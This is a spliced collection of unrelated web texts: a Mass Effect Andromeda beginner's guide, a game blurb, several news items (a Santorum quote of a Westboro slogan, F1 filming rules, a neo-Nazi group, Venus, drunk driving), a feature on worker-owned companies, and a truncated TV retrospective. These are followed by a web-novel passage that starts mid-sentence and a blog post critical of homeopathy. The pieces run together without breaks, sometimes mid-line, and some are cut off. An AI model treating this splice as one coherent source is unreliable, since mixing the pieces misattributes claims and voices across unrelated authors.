Mass Effect Andromeda is an open world 3rd Person Action-RPG with heavy emphasis on free-form exploration and story. Despite the first negative reviews and some fans raging about the ugly and weird characters animations and lack of lip-syncing, the game’s innovative for the Mass Effect series gameplay and free form exploration are a huge hit in the right spot and can surely keep you glued to the screen for hours and days.
Being 4th game in a series is never easy when it comes to attracting new players. That’s why Bioware’s developers decided to make a fresh start. A reboot, if you like. The new game will give you a fresh chance to start some 600 years after the original events of Mass Effect 2 with brand new characters and stories to explore. Some mechanics and systems have been removed, others have been implemented in their place, while the core is still a pure Mass Effect experience. A perfect match for every fan.
The game is powered by the popular Frostbite game engine, but is quite demanding still on hardware resources. It’s available for PC, PlayStation 4 and Xbox.
Gameplay Innovations and New Features
Even if you are an experienced Mass Effect veteran, some new features and innovations may surprise you. Let’s take a look.
Worlds in Andromeda
One of the biggest differences to the original Trilogy is that here all planets and worlds are much bigger and wider (vertically too). They allow for deep and extensive exploration. A lot of them will unlock special additional areas/zones to explore after you have completed certain amount of missions or have triggered a special conversation.
Main missions will only lead you through a small part of the total number of available quests, places, experiences. The rest is up to you to discover. Go above and beyond. Don’t leave a stone unturned. Interesting rewards and situations await on each step you make that doesn’t follow the main path. Side quests, minerals rich areas, deadly beasts and tons of other surprises await your appearance. Be brave! Explore!
The Jump-Jet
I don’t know about you, but I’ve kind of missed the ability to jump in the previous Mass Effect titles. Now this is possible and not just that, but it’s an important part of the game as well. Pretty much everything can be jumped onto or over. The vertical aspect in Andromeda is very real and well implemented. The Jump Jet isn’t a special ability. You get it from the very beginning of the game. It has practically no cooldown. I highly advise you to use it often and a lot. Jumping and holding the right mouse button will allow Ryder to hover in the air for a few seconds. Dodging (scroll-click) while in the air will extend your jump time and distance.
Auto-Cover Mechanic
There is no need to press a special button if you want to go into cover. The ability to crouch is now also automatic. The game recognizes objects that can serve as cover automatically and as soon as you approach them with your weapon out (not holstered!), Ryder will automatically go into cover and even crouch, if the cover is low and closer to the ground.
Supply Crates and Ammo
There is no ammo to be loot from corpses in Andromeda. Instead spread in strategic locations you will find Supply Crates. When you approach them, all your ammo and abilities will automatically be refilled. Crates can have different contents. For example some will also be able to heal you up too. There’s no self-healing in Andromeda.
Scanning
Ryder has a scanner tool that he can use to scan new technology and interesting objects. Some times the main story requires the usage of this tool. For the most part, though, it is entirely up to you as a Pathfinder to show your curiosity and eagerness to learn more about the technology you come across. Depending on the objects’ origins, you will receive Research Data points as you scan objects during your adventures. These points are used for Researching new schematics of weapons, armors, mods, augments.
Multiplayer
The Multiplayer component to Andromeda isn’t tied to the solo game. You are free to start participating in cooperative matches with friends and players from all over the world.
The biggest and most important advice I can give to a beginner regarding Multiplayer in Andromeda is – DO NOT PARTICIPATE in it for a while. Seriously, get into the story and learn the basics the way the game intended it for you to do it. There are several major spoilers in terms of lore and even story that may ruin some of your fun discovering them through the solo game.
There is a relation between the solo game and Multiplayer still. It’s not about the story and achieving/unlocking certain aspects and outcomes. No. The link is called Apex missions. The Apex Strike Squad you build while playing the solo game, can serve you in so called Apex Missions. These provide extra rewards and can be completed either manually by playing them with friends or random players online or sending your available squad(s) to do the objective(s). You start with one team that can go on one mission at a time, but you can recruit more. When sending your AI squad to complete a mission, you have a chance of success or failure. The duration of each mission is 1-2 hours usually.
If you wish to farm more efficient (even while at work or in school :P), download the official Mass Effect Apex HQ app.
There is also a training multiplayer mission, which you complete solo in a matter of minutes. It is perfect to introduce you to the typical mechanics and objectives involved in a multiplayer match.
ABILITIES AND PROFILES
Video
Check out my Beginners Video Guide specifically dedicated to Andromeda Skills, Combos, Profiles and Favorites.
Mass effect Andromeda has no classes. Instead you have 6 available training professions available during character creation: Security, Biotic, Technician, Leader, Scrapper, Opperative; and 7 Profiles, which can be unlocked early in the game. Each training will give you one starting power ability and 2 unlocked skills. Profiles enhance your abilities by boosting their performance.
There are no traditional standard classes in Andromeda. Every player can use every gun and spec into whatever powers and skills they wish to.
Training
The starting bonuses based on your training matter only in the beginning of the game. Later on you will have more than enough skill points to allocate and spec into whatever you wish. What I mean by this is that if you decide to start as a Technicial, nothing will stop you from going deep into Biotics later in the game. The benefit of your training is that you will get that one power for free from the very first moment as well as 2 skills unlocked without having to pay skill points for them.
Should you need to, you can always respec. The game will show and tell you how this is done (on board of the Tempest). First respec(s) are very cheap and you can experiment a lot.
Profiles
Profiles is the Andromeda’s class replacement system. Profiles are meant to enhance your current abilities and give you extra boosts to your preferred and favorite gameplay style. They can be swapped (even in combat) and aren’t a permanent choice. Very early in the story on board of the Tempest you will be prompted to learn your first Profile. Unlocking profiles is based on number of skill points spent in each one of the 3 base categories for skills (6 points at least): Combat, Biotics and Tech (more on these below). Unlocking the profiles is just the beginning. Spend more points into various abilities to upgrade the Profile(s) attached to it to higher tiers.
Unlike traditional classes in MMO games, Profiles in Andromeda enhance your already existing abilities instead of giving you a set of new ones to learn and play with.
The 7 profiles available in Andromeda are:
Soldier – the most basic profile, suitable for new to Mass Effect players boosts weapons usage
Engineer – boosts the health of your tech (like turrets), as well as their defenses and damage output
Adept – focused entirely on Biotics improvements and boosts
Sentinel – combines boosts between tech and biotics, a hybrid profile
Vanguard – a hybrid profile boosting biotics and combat
Infiltrator – combination of combat and tech improvements and boosts
Explorer – unlocks when you spend points in all 3 skill trees, this is the ultimate hybrid profile
Abilities and Skill Points
Abilities in Andromeda are learned with Skill Points, similarly to how the system worked in the old 3 games. They require skill points, which are granted upon leveling up and also by doing the main missions. The abilities are divided into 3 categories:
Combat – the most straigth forward skill tree, based on weapons gameplay and most suitable for Mass Effect beginner players
Biotics – special abilities that are similar to “magic” in classic MMO and RPG titles
Tech – similar to biotics, the tech abilities are heavily dependent on cooldowns
Each one offers a wide set of abilities to use and doesn’t limit your choice at all. You can make a mix of any 3 abilities. You are free to put any amount of points into any ability from any category at any time. The only limitation is how well certain powers and bonuses work together to prime and detonate combos (read more on combos below). What’s even better, you can benefit from 4 Favorite builds to swap between at any time.
Favorites
You are allowed to create up to 4 Favorite builds. Each one has 3 slots for active powers/abilities and an active Profile to boost the build. Remember, you can swap between those, again, at any time. Even during combat. However, there will be a brief cooldown of your 3 active powers/abilities after a swap. The default keybinds are F1 through F4 for each one of the favorites.
Ability Combos
In the Skills window you will notice that some abilities and powers can produce a combo for a greater effect. This is not new to Mass Effect. Ability Combos were part of the series before. What a combo means is that you can use one ability to trigger the combo and another one to finish it, thus receiving special bonus effects like significantly more damage dealt, causing the target to burn or freeze and more.
CRAFTING
Video
Check out my Beginners Video Guide specifically dedicated to Research and Development (Crafting) in Mass Effect Andromeda.
What kind of an explorer will you dare call yourself if you don’t contribute to researching and developing new technologies. This is the crafting system in Andromeda. To be able to craft a new weapon, armor piece or a mod, you need to first research its schematics.
Crafting in Andromeda looks quite a bit more complicated than it actually is. Once you start your journey, you will realize that there are far too many options for you to choose from, but you do not need to craft everything, just because you have to. Pick your favorite arsenal, choose which augments and mods will be more beneficial to you and your team and just keep upgrading them. Once you have advanced enough into the game and have plenty of resources, then you can experiment with various new technology that you discover or research.
Research Data
Schematics can be found during your exploration of new worlds or by researching them yourself at a Research Console. To craft items you need:
Research Data – earned through scanning. It is used to research (learn) a new schematic.
Crafting Materials – found during exploration of new worlds or via probing. They are used to develop the item after its schematic has been found or researched.
There are 3 main categories that you can spend your time and resources to research. Using your scanner on valuable objects during your adventures will grant you Research Data points divided into:
Milky Way Technology – conventional weapons
Heleus Technooogy – more advanced technology with different mechanics of using and firing
Unknown Alien Technology – unknown technology from an alien race
With these Research Data points you can get new schematics for weapons, armor, mods.
Development
Once you have the schematic and enough crafting materials, you are ready to move to Development. Again, here you have the same 3 main categories to choose from. What types of weapons you will be using, depends only on your preferences and personal build. Items can be deconstructed too, which will grant you crafting materials.
Mods and Augments
Mods, unlike in other games, aren’t permanent here. They can be inserted in weapons or armor to boost it in a very specific way. Augments can be used during Development to enhance the capabilities and statistics of an item.
Let me remind you – the game allows and even encourages you to experiment with stuff. Heavily! Don’t miss doing so. It’s not just fun, but very useful too and reveals interesting opportunities before you as you progress into levels and story.
Mining Minerals
The materials, required for crafting, can be obtained in 6 major ways: Space exploration, Ground mining via the Nomad, looting nodes on the planets, deconstructing items, purchasing from merchants or spending cryo pods points to grant yourself regular income of various crafting materials. I have a special video dedicated to this part of the game. Take a look below.
MAPS AND NAVIGATION
As you make your progress through Andromeda, new worlds and destinations will be revealed before you. Many of them will be deadly and unfriendly, so be prepared, pick your loadout before you land on a new planet. Use every hint and suggestion given during mission cutscenes or via Lore Updates in the Codex. In higher difficulties being prepared is often the difference between a succesfull mission and a complete failure.
Galaxy Map
The space exploration is done in a familiar enough way to the Mass Effect 3 system. You can travel from one place to another, explore planets or find and probe various objects in space, such as damaged ships and asteroid fields in hopes to find crafting materials.
The well known probing from the previous Mass Effect games is available here too. Scan the space and send probes for a chance to discover crafting materials and more interesting hidden things. Unlike in Mass Effect 2, probing is free here. The fuel has also been eliminated as a resource.
Planetary maps
The planetary maps have a set of number icons to help you recognize different obejects – main missions, side quests, places of interest, forward bases. Ah, yes. Spread in predefined places on each planet you will be able to deploy a forward base, which will allow you to quick travel (teleport) directly to it from any place on the planet. Many planets and regions are hazardous and fast traveling back to a secure camp is very handy – allows you to replenish your live support systems.
Most of the exploration is done driving the Nomad. Unlike the driving in the old trilogy, here I have insane amount of fun time doing it. The vehicle has 2 modes – one for fast movement on plain terrain and one for climbing steep slopes at a much slower speed. Be sure to use them both wisely. The Nomad can, of course, also be upgraded and improved.
The maps are quite big and there are often valuable things to discover or mineral fields to mine in the far reaches of the map. Don’t be afraid to explore. Just be careful – some areas aren’t supposed to be visited or are plainly unreachable until you do a certain mission or number of missions on the said planet.
MISC TIPS AND SUGGESTIONS
Here are a few more tips and suggestions that I just thought you would like to hear and have handy for your first steps into Andromeda:
In terms of experience gain, the bigger portion comes from completing missions, not from killing aliens and monsters.
Learn Barricare if you plan to skip most of the side quests and bonus missions.
Get Singularity regardless if you play Biotics. This ability has great combo potential with almost everything.
If you are truly a beginner and have never played any Mass Effect games before, put your Companions to AutoLevel Up as this will save you time and efforts of learning a huge amount of new abilities very early in the game.
Don’t save your special ammo types. Extra amounts of special ammo can be purchased for cheap prices from Vendors and also replenished from a Supply Carte down on the planet’s surface.
My last, but also very important advice not just for this section of the guide, bug in general for your whole Mass Effect Andromeda experience is – TALK TO EVERYBODY! GO EVERYWHERE!
I hope you find this guide useful and interesting. Now I leave you to begin your own Pathfinding adventure.
If you learn and understand things better while watching instead of reading, here is a version of this guide in video format with visual demonstrations. In the video you will learn essencial tips and suggestions for Mass Effect Andromeda Beginners and completely new to the franchise players. Get a headstart by learning the basics of training, profiles, skills and combos, game mechanics, exploration, leveling and more.Product Description
When a travelling lady-of-the-night finds herself running out of fuel on the way to the Big City, she discovers more than she bargained for in this gruesome gas-station. Relying on her wits and the help of her best friend and crack-fiend, Susie the Drug Addict, things start to go from “bad” to “weird” as she must not only find vital fuel for her car, but also put a stop to an armed robbery, defeat an ancient and evil (but extremely polite) cult, and show a young man that becoming a hippy is never the right answer. Can she fulfil the prophecy, and uncover the mystery of – THE PERFIDIOUS PETROL STATION?
The Perfidious Petrol Station tells the timeless story of a young woman needing gasoline, and nowhere near the giant leap backwards for womens’ rights you may think it is! Coming from a tradition of naughty humour and dodgy puns in adventure stretching back as far as “Leisure Suit Larry”, Nancy’s first adventure is a nostalgic romp into the kind of surreal story that only exists within adventure games.
Features:
Fully-voiced comedy adventure with a talented multinational cast
Average play-length of around three hours (depending on how much you cheat)
Disturbing social commentary on the issues of modern womanhood
Retro-style art in the classic nineties style
Surreal humour and dry British wit
Reviews
Read a review of The Perfidious Petrol Station by Adventure Gamers.Rick Santorum cited the Westboro Baptist Church's "God Hates Fags" slogan while defending Indiana's Religious Freedom Restoration Act this weekend.
"Tolerance is a two-way street," Santorum said on CBS' "Face the Nation" Sunday. "If you’re a print shop and you are a gay man, should you be forced to print ‘God Hates Fags’ for the Westboro Baptist Church because they hold those signs up? And this is really the case here: Should the government force you to do that? And that’s what these cases are all about. This is about the government coming in and saying, ‘No we’re gonna make you do this.’ And this is where I think we just need some space to say, ‘Let’s have some tolerance be a two-way street.'”
Westboro Baptist is notorious for holding signs emblazoned with "God Hates Fags" and remarks about sodomy when picketing at funerals or outside businesses and venues.
The former Pennsylvania senator defended the original language of Indiana's highly contested legislation, which was criticized for promoting discrimination because it allows individuals and businesses to cite their religious beliefs as a defense when sued by a private party.
Santorum said the law was not about discrimination against individuals for who they are, but rather support for business owners to abstain from activities based on ideology.
"Obviously attitudes in this country change and when those attitudes change, we run into a whole bunch of new issues," he said, referring to the national shift to acceptance of same-sex marriage. "And so the question is how do we deal with that in respecting people on both sides of the issues? And I think that's where you have to differentiate between discrimination against the person because of who they are and discrimination and... unwillingness to participate in actions because they're inconsistent with your religious beliefs."In Barcelona testing, teams and drives were allowed to post content for the first time, an initiative that proved very popular with the public.
Previously under Bernie Ecclestone's leadership, filming was not allowed at tests involving more than one team, with the sessions treated the same way as race weekends – and the rights claimed by Formula One Management.
Last week, FOM wrote to the teams confirming that the relaxation process would be continued from the Australian GP for content captured by "handheld devices", with certain restrictions.
There's a time cut-off before sessions to avoid a direct conflict with TV broadcasts of track activity, and thus teams cannot film cars driving out of their garages and so on. The rights for any content belong to FOM, who can use it if they so wish.
Several teams have already taken advantage of the new freedom, with Red Bull, Williams and Mercedes among those posting race weekend content for the first time on Thursday.In the mid-1990s, Glynn Lloyd was teaching GED courses at the Log School in Boston’s Roxbury neighborhood, where he grew up. The official heart of black culture in Boston, Roxbury is around 60 percent African-American and 30 percent Hispanic. Thirty-five percent of residents live under the federal poverty line. Lloyd came to the realization that the classes weren’t enough — the neighborhood needed jobs, it needed opportunity.
Lloyd, his brother, Sheldon, and another friend got together, found some money from the city to renovate a kitchen in the neighborhood, and turned it into City Fresh Foods. The mayor paid a visit even before it opened, in 1994. They intended it to be a small neighborhood business, just a carry-out, until an elder care group, one of the largest in the city, came to them and asked if they could be their supplier of ethnic meals (including Russian, Latin and Caribbean) to homebound seniors around Boston.
“It wasn’t the original plan, but that was a steady contract that helped us grow,” Lloyd recalls.
A few years later, City Fresh Foods began providing meals to schools and daycare centers throughout the Boston area. Today it’s a $7 million to $9 million a year company, with close to a hundred employees (starting wage $11 an hour) preparing more than 10,000 meals a day at a 14,000-square-foot facility in Roxbury. But most importantly, City Fresh Foods and its workers will soon join a movement of worker-owned companies that is percolating around the country.
“I new about worker ownership models since I started the company. It was on my mind early,” Lloyd says.
While truly comprehensive data on worker-owned companies is hard to find, there are at least 7,200 companies in the United States with at least partial worker ownership.
“There is definitely growing momentum around worker-owned companies right now, particularly in the worker cooperatives sector,” says Marjorie Kelly, senior vice president of the Democracy Collaborative and co-author of their recent report on broad-based ownership models as tools to create jobs and build community wealth.
“This is the next critical wave of creating a democratic economy. In the 1940s, as a nation we made an imperfect but concerted drive to spread homeownership to the point where two-thirds of Americans now own their own home,” Kelly adds. “I think broadening business ownership would be transformative and potentially a part of the answer to the problem of wealth inequality.”
There are two main worker ownership models: employee stock ownership plans and worker cooperatives.
In a cooperative, worker-owners take a very active role in strategic decision-making for the business, such as setting wages or hiring a CEO. Conservatively, there are around 350 worker cooperatives in the U.S., with about 5,000 worker-owners. Just one of them, Cooperative Home Care Associates (in NYC), has over 2,000 worker-owners. Taking them out of the equation, the average worker cooperative size is eight worker-owners.
The other main option, an employee stock ownership plan (ESOP), is much more common. There are more than 6,900 ESOPs in the U.S., with around 14 million participants. In ESOP models, companies are wholly or partially owned by employees through a trust, from which employees cash out upon retiring or leaving the company. That means less involvement of workers in strategic business decision-making. Owners also receive a substantial reduction in capital gains taxes, and other potential tax advantages, for selling to an ESOP.
“I’m leaning toward a worker cooperative, but we need to make sure it’s best for the company,” says Lloyd, who’s now chair of City Fresh Food’s board of directors, with his brother running day-to-day business as CEO.
While Lloyd always had worker-ownership on his mind, as the company grew, it took on one investor that wasn’t inclined to sell the company to its workers. That changed last year, when Boston Impact Initiative (BII) and another partner bought out that unwilling investor. Founded in 2012, BII has provided more than $1.2 million in loans and grants to businesses and organizations in the Boston area, including Cero, a worker-owned commercial composter in nearby Dorchester. In 2014, BII provided more than $700,000 in new loans, grants and equity investments to 11 Boston-area businesses and organizations.
With BII on board, the process of selling City Fresh Foods to its workers could begin, starting with a financial analysis to determine a fair market value for the company. Lloyd and the other current investors found out the preliminary number (not disclosed to me) on Monday. It’s the first step in figuring out the specifics of financing the buyout of the other investors, so that the company will eventually be 100 percent worker owned.
Throughout the process, City Fresh is receiving technical assistance from the Democracy at Work Institute’s Workers to Owners Project, a national collaborative to bring worker ownership to scale through conversions of existing businesses (funded in part by the Surdna Foundation, which also provides funding to Next City). The Workers to Owners Project also recently launched Becoming Employee Owned, an online resource for business owners considering selling their business to its workers.
The final decision for City Fresh Foods between a worker cooperative and an ESOP may ultimately be made in conversation with its workers.
“There’s been interest. A lot of these guys have been there a long time, they already treat the company like it’s theirs,” says Lloyd. “We’ve never gotten this far before. It’s exciting.”A Nordfront sticker warning of a "multicultural area" stuck to a lamppost in Stockholm. Photo: Nordfront
Norwegian extremists are building stronger ties with Scandinavian neo-Nazi groups, and their activity is increasing, the head of the Norway's domestic intelligence agency Benedicte Bjørnland has warned.
“There are reasons to believe we are going to see an increase in activity in the extreme right during 2015," Bjørnland told Norwegian state broadcaster NRK. "The specific reasons are the connections across national borders. They are connected to other extreme right-wing groups in Northern Europe."
Over the last year, the neo-Nazi group Nordfront, which is established in Sweden, Denmark and Finland, has run a recruitment drive in at least six counties in Norway, she reported.
On Holocaust Remembrance Day, the group unleashed a coordinated operation which saw tape bearing the Nordfront logo placed at the offices of ten different media organisations in Sweden, and Nordfront banners unfurled at the Holocaust Center and Stiftelsen Arkivet in Oslo.
Stein Christian Salvesen, who works at Stiftelsen Arkivet, said that it had been the third time that year that extremists had targeted the building, which once housed the Gestapo headquarters where many Norwegians were tortured during the Second World War
”It's scary. These banners are being hung up by an organization that denies the Holocaust, cheering for Nazism," Salvesen told NRK.
In November last year, police seized several guns from Nordfront sympathisers in Rogaland, after which a 16-year-old youth was charged.
Nordfront's Swedish wing, which is headed by Klas Lund, who has past convictions for manslaughter and armed robbery, is committed to expanding into other Nordic countries.
”Our political goal is to take command in the Nordic countries,” the group's Swedish Spokesperson, Pär Öberg, told Expressen.
Right-wing extremism is a sensitive issue in Norway following the twin terror attacks mounted by the far-Right anti-Islamist Anders Behring Breivik, which left 77 people dead and at least 300 injured.CUPE is urging the federal government to have open and public debates on proposed changes to Canada’s labour laws instead of burying the policy changes in its latest omnibus budget bill.
Bill C-4 has been introduced by the Harper Conservatives as an implementation bill for the 2013/14 federal budget. Within the bill, there are dramatic changes to who can and who can’t go on strike in the federal public service. The bill also proposes changes to health and safety laws for federal workers, and workers in federally regulated sectors – such as telecommunications, air transportation, and workers on First Nation reserves.
In a letter to Prime Minister Stephen Harper, CUPE calls for the withdrawal of all changes that impact workers’ right to strike and changes that threaten the health and safety of workers and all Canadians.
- Read CUPE’s letter to Prime Minister Stephen HarperA curious cold layer in the atmosphere of Venus
Venus terminator
Venus Express has spied a surprisingly cold region high in the planet’s atmosphere that may be frigid enough for carbon dioxide to freeze out as ice or snow.
The planet Venus is well known for its thick, carbon dioxide atmosphere and oven-hot surface, and as a result is often portrayed as Earth’s inhospitable evil twin.
But in a new analysis based on five years of observations using ESA’s Venus Express, scientists have uncovered a very chilly layer at temperatures of around –175ºC in the atmosphere 125 km above the planet’s surface.
The curious cold layer is far frostier than any part of Earth’s atmosphere, for example, despite Venus being much closer to the Sun.
The discovery was made by watching as light from the Sun filtered through the atmosphere to reveal the concentration of carbon dioxide gas molecules at various altitudes along the terminator – the dividing line between the day and night sides of the planet.
Armed with information about the concentration of carbon dioxide and combined with data on atmospheric pressure at each height, scientists could then calculate the corresponding temperatures.
“Since the temperature at some heights dips below the freezing temperature of carbon dioxide, we suspect that carbon dioxide ice might form there,” says Arnaud Mahieux of the Belgian Institute for Space Aeronomy and lead author of the paper reporting the results in the Journal of Geophysical Research.EASTERN Cape police arrested a motorist who could be South Africa's drunkest driver ever.
The man was allegedly 32 times over the legal alcohol limit. His blood had an alcohol content of 1,6g/100ml. The legal limit is 005g/100ml. He was driving a Mercedes-Benz Vito and was arrested near Queenstown in Eastern Cape at about 11pm on Wednesday.
Five boys as well as a woman who were also in the vehicle with 15 sheep, allegedly stolen from nearby farms, were also arrested.
Department of Transport spokesperson Logan Maistry said: "About 4000 drunk drivers have been arrested and 40percent of these were female."
He said about four million vehicles and drivers were stopped and checked.
"More than 30percent of fines issued relate to drivers not being in possession of driving licences or failing to carry licences. More than 1,5 million fines were issued for various traffic offences.
"More than 20000 unroadworthy vehicles, including several buses and taxis, were discontinued from use. Since the 2010 World Cup, an average of 2000 motorists have been arrested every month for driving while under the influence of liquor," Maistry said.
lTransport Minister Sibusiso Ndebele conveyed his condolences to the families of 16 people killed in a road crash involving a minibus and midi-bus on the N2 near Mtubatuba in KwaZulu-Natal.
Ndebele called on more South Africans to enlist as Voluntary Traffic Observers to win the battle against road deaths.The following appeared in our Creamguide mail-out just a few weeks ago. We represent it now in light of the extremely sad news Mike Smith’s death. So here’s an opportunity to look at some of the highlights of his career in TV. Sure, he did loads on radio too – we’ll need to get to that. In the meantime…
MIKE SMITH
CBTV (Thames 1982)
Yes, several hundred words on Mike Smith. Don’t worry, there’s loads of funny clips coming up. Smitty, as we always called him, started out on the radio and at the start of the eighties was getting plenty of attention as Capital’s breakfast DJ. In this capacity he reported on the first London Marathon and met his wife-to-be Sarah |
, returning to the flat plains. At this moment, the Gray Wolves had already respawned. Rui did not hesitate to raise his Wolf Fang Dagger, and charged right in.
Ding!
Congratulations, you have reached level 6! Please determine the method of distribution of attribute points. Method 1: Gain 1 point in all four basic attributes, and gain 2 additional points to be freely allocated. Method 2: Freely allocate 5 points to an attribute.
Looking at his stat points, Rui decisively chose the second option, with the five awarded free points to distribute, he added it all into Agility. Afterwards, his Agility had reached 30 points, and thus Speed was raised by 1 point.
Lifting the Gray Wolf’s corpse, Rui was stunned to find he received a long sword from it.
Fine Iron Sword Normal Equipment Attack 8-12 Lvl Req 3 Durability 3/15
“…”
‘After fighting Gray Wolves for almost five hours, the most they would drop was copper coins and health potions. But now, after killing just one Gray Wolf to raise my EXP from 99% to the next level, it suddenly dropped an f—ing sword? Isn’t this world way too damn dramatic?’
Nevertheless, monsters dropping equipment was a good thing. After putting the sword inside his bag, Rui leveled up and didn’t touch any more Gray Wolves. Relying on his speed, he charged towards the outskirts of the Wolves’ area.
* * *
When he had arrived at the edge of the Wolves’ area, Rui saw a lot of people. After a couple of hours of leveling up, there were a lot of players who formed parties, and there were even solo players who came to the Wolves’ area to hunt the Gray Wolves.
Stay low, and you’ll live longer!
This phrase was Rui’s moto. But under these circumstances, how could he stay low? There were people everywhere, and everyone could see him. Rui was not a ghost, and what he was wearing could not be ignored. But at the end of the day, since it was only a game, Rui did not think much of it.
However, no matter how careful Rui was being, he still attracted a lot of attention. Not to mention the fact that he was the only one coming back out from the Wolves’ domain, and he was also being chased by many large tailed wolves. With Rui’s dagger and boots, it was enough to draw attention.
People either had to form parties beforehand, or be a really capable person with really good equipment to get to the Wolves’ domain. But Rui had a unique colored weapon (different from the white colored equipment), which no one else had.
When he appeared, he gained everyone’s attention. Rui was somewhat hurting inside. Rui got away from the wolves that were chasing him from behind, and started to walk towards the Novice Village.
Perhaps it was because of Rui’s calm demeanor and composed attitude, or because of what he was wearing, he had gathered a lot of the people’s attention. One set of equipment was enough to bring about a person’s superiority. But because of Rui’s one set of equipment being regarded as a mysterious and powerful, no one wanted to offend him one way or another, and no one thought it was worth it. No one hunting there was stupid, the truth was they had recognized exactly what was happening.
“That person, wasn’t he the one who went inside the wolves’ domain?” Looking at Rui’s back, the handsome young boy who previously warned him not to enter the wolves’ domain was stunned.
“It is really him! What the f—, is this for real? One person who went inside the wolves’ domain not only survived, but he came back with equipment. Look at his dagger, it’s also a colored equipment.” The shortie beside the young boy said enviously.
“Ah, ah, he must be a pro.” The young boy smiled wryly with eyes full of admiration.
“Boss, want to check him out? Maybe we can even buy his equips.” Beside the shortie, a skinny male asked in a soft voice.
“No need. It’s best not trade with people like him. It would be nice if we can become friends, but if we can’t, it’s best if we do not become his enemy. If contacting him is necessary, we need to be careful. We need to see if we can include him in our group, but if that’s impossible, then giving up would also give him a good impression.” The handsome young boy rubbed his hands and rejected the skinny boy’s suggestion.
“Alright, don’t waste anymore time, continue hunting! I have a completely different sword now, so killing Gray Wolves would also become easier.”
Smiling gently, the handsome young boy raised his black silver sword, killing the Gray Wolf in front of him. The tall and short person smiled helplessly, and also began to brutally murder the pitiful Gray Wolves in the area.
* * *
“Big bro, could you please take me under your wing? I will do your bidding and will definitely do everything to please you!”
“Handsome boy, how about helping me level? I am still level 0. These monsters die so easily to people who have knives. I haven’t even seen what a small chicken or a small rabbit looks like before they are killed off!”
“Hey sexy, be my boyfriend. If you help me level up and give me some equips, I will give you a special reward.”
“Big bro, are you selling your equips? I will use RMB to buy it, feel free to set a price!”
“Hey big boy, you look like Iron Man. How about you join my group? This big boss will help you pick up some chicks. The game of brothers is the real true game.”
“Hey skilled player, interested in working for us? We will pay you a generous salary, and the work is also very easy. 5k per job, you can’t find this offer anywhere else!”
“…”
After arriving at the Novice Village, Rui was surrounded by newbies. Beggars begging to be leeched, for equipment, love interest, group hunting, etc. Various envious, jealous, and persistent voices drifted to his ears wherever he went. As a result, Rui’s brain almost shut down.
Activating his Nimble Wind skill, Rui earnestly rushed out of the village. Rui wiped the sweat off his forehead, and looked back at the crowd with terror. ‘Holy sh— that was f—ing scary!’
The village was a safe place, and if someone was stop or attack him, they would have to face the Soldiers in the village. They would also be held in confinement, or pay a fine. But if they cannot pay the fine, they have to leave the village. Rui was temporarily safe.
“Slime gauntlet: 2 Defense, Critical rate increase by 1%. Only accepting trades, not selling. Offer last for only ten minutes!”
When Rui was about to enter the tailoring store, he suddenly heard a voice shouting.
‘Gauntlet?’
Slightly surprised, Rui squeeze in between the crowd, and in the middle, he saw a fearless tall girl wearing leather armor, slightly frowning, surrounded by people who weren’t interested in the equipment, but people who wanted to chat her up.
Even at first glance, the woman looked really beautiful. She wasn’t wearing any make-up, but a true natural beauty. She had fine facial features, especially her mouth. It made people indulge in their daydreams. She had a perfect body, with curves all in the right places, and thanks to her leather armor, it left nothing to imagination. Her body was really sexy. She had a pair of slim and slender legs, rounded bottom, and there was a slit in her leather pants, exposing parts of her thigh. It was no wonder why she was surrounded by primitive wild looking men with eyes ablaze.
She also had a long ponytail behind her, holding onto a white-edged sword, looking rather fearless with an excellent posture.
“Over here I have one long sword, would you like to trade?”
Ignoring the surrounding intoxicated men, Rui pushed through the crowd and said directly to her.
The girl rubbed her head and answered. “Long sword? What stats does it have?”
“8-12 Attack!” Rui simply called out the damage stat of the Fine Iron Sword he had gotten recently as a drop.
“What the hell, attack 8-12? The blacksmith weapon shop only sold weapons up to 5-8 attack!” After hearing what Rui had said, the people around him started to drool.
Looking at the white sword she had in her hands, the stats should be inferior to his Fine Iron Sword. The woman was very serious, and without saying anything, she opened up the trade window.
Ding!As hard as it is for me to believe, I’ve been writing about homeopathy for more than a decade now. Regular readers, of course, know that homeopathy is quackery, utter pseudoscience based on prescientific vitalism based on two “laws”: the Law of Similars and the Law of Infinitesimals. The former states that, to relieve a symptom, you use a substance that causes that symptom in healthy people. There is, of course, no science or logic to support this as a general principle other than sympathetic magic. The latter Law states that to make a remedy stronger, you must dilute it. That in itself is silly enough and goes against much of what we know about how drugs work in the body, but it gets sillier. Homeopaths often dilute their remedies with serial dilutions of 100-fold each, usually designated as “C,” as in 1C = one 100-fold dilution. Between each dilution, a homeopath will tell you, you must vigorously shake (succuss) it in order to “potentize” it. The silliness gets even sillier when you consider that a typical homeopathic dilution of 30C = a 1 in 1060 dilution. Given that Avogadro’s number is only ~6 c 1023, which means that a 30C dilution is over 1036-fold greater than Avogadro’s number. Basically, any homeopathic remedy stronger more dilute than 12C or so is very unlikely to have a single molecule of starting compound left. Most homeopathic remedies are water.
That’s why skeptics like myself like to use homeopathy as an example of quackery. Once you explain the laws of homeopathy, it’s very easy for most lay people to understand why homeopathy is quackery and why it basically can’t work. As I like to say, for homeopathy to work, scientists would have to be not just wrong, but spectacularly wrong, about some very fundamental laws of physics and chemistry. Homeopathy also is a very good “teachable” example to illustrate how randomized double-blind clinical trials (RCTs) can go wrong. To put it very simply, using Bayesian considerations, in which the plausibility of a hypothesis and hence its prior probability of producing a positive clinical trials are considered, testing treatments like homeopathy, which has about as low a pre-trial probability or plausibility as I can imagine, can be very good at producing false positive trials. Heck, Steve Novella and I even managed to publish a commentary on this in a scientific journal under the title, Clinical trials of integrative medicine: testing whether magic works?
All of this is just a bit of background I wanted to lay down for those who might be relatively new to this blog before I discuss what I learned about a clinical trial of homeopathic nosodes discussed in a STAT article by Helen Branswell, Should researchers study bunk science? Among respected scientists, a debate ensues. Basically, it’s asking the same question that Steve Novella and I answered two years ago with a resounding “No!” Depressingly, the arguments for testing homeopathic nosodes are basically the same naive or discredited arguments that Steve and I discussed then and have been discussing on and off in our respective blogs for years.
But first, what are homeopathic nosodes? Basically, nosodes are homeopathic remedies prepared from a diseased animal or person and can consist of saliva, pus, urine, blood, or diseased tissue, diluted to various degrees according to the principles of homeopathy. Many homeopaths sell nosodes as being the equivalent of vaccines. Take to a ridiculous extreme, some homeopaths were known to take blood or bodily fluids from Ebola victims to make, in essence, nosodes, an incredibly dangerous thing to do, not just for the patient being possibly exposed to Ebola but for the homeopath stupid enough to handle actual bodily fluids from Ebola victims without proper training and, one worries, proper protection.
